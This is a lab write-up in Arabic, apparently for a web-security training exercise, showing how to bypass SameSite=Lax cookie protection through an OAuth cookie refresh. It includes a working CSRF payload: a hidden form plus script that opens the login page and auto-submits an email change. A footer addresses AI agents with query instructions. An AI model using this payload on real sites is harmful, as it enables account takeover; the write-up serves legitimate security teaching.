> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/csrf/samesite-lax-bypass-via-cookie-refresh.md).

# تجاوز SameSite Lax عبر تحديث الكوكي

### تجاوز SameSite Lax عبر تحديث ملف تعريف الارتباط

تكون وظيفة تعديل البريد الإلكتروني في التطبيق عرضة لهجوم CSRF. الهدف من المختبر هو فرض تغيير عنوان البريد الإلكتروني لمستخدم ضحية من خلال استضافة العرض التوضيحي على خادم الاستغلال المقدم.

<figure><img src="/files/bb8d721cc499bd34dcf7d06e1faae67fbd6778c6" alt="" width="563"><figcaption></figcaption></figure>

يدعم المختبر مصادقة OAuth عبر موفر خارجي. يمكنك الاتصال باستخدام المعرّف المعطى (`wiener:peter`). أثناء عملية المصادقة، تُستخدم صفحة نطاق مختلف لتحديد هوية OAuth.

<figure><img src="/files/f6c90996b4feb8575af0724cb36503cc2be34501" alt="" width="553"><figcaption></figcaption></figure>

`لقد تم تسجيل دخولك بنجاح باستخدام حسابك على وسائل التواصل الاجتماعي`

* بعد الاتصال عبر موفر الخدمة الاجتماعية، تتضمن الإجابة ملف تعريف ارتباط للمصادقة يكون `SameSite` مضبوطة على `Lax`.

<figure><img src="/files/5a6f76b0a020763d6eec1e9a51e1eb013856c7b4" alt=""><figcaption></figcaption></figure>

إذا سجلت الخروج ثم أعدت بدء تدفق المصادقة دون إعادة إدخال كلمة المرور، تتم إعادة تعيين الجلسة: يتم إصدار **جديد** ملف تعريف ارتباط للجلسة.

* → عمليًا، هذا يعني أنه إذا نقر المستخدم على "تسجيل الخروج"، فسيتعين عليه النقر مرة أخرى على "تسجيل الدخول" ليُعاد توجيهه إلى الموقع واسترداد ملف تعريف ارتباط الجلسة الجديد.
* بفضل سلوك "تحديث" ملف تعريف الارتباط هذا أثناء المصادقة عبر النطاق الخارجي التابع لطرف ثالث، يمكن تصور تسلسل يتيح فيه طلب أولي إلى صفحة المصادقة استرداد/إنشاء ملف تعريف ارتباط الجلسة، ثم يؤدي إجراء ثانٍ (من جهة العميل) إلى تشغيل الطلب الذي يعدل البريد الإلكتروني في حساب المستخدم.

```html
<form class="login-form" name="change-email-form"
      action="https://0a6100a60304c671804803f0005200d7.web-security-academy.net/my-account/change-email"
      method="POST">
  <input type="hidden" name="email" value="hacked@byjordan" />
</form>

<script>
  window.open("https://0a6100a60304c671804803f0005200d7.web-security-academy.net/social-login", "_blank");
  setTimeout("document.forms['change-email-form'].submit()", 5000);
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/csrf/samesite-lax-bypass-via-cookie-refresh.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
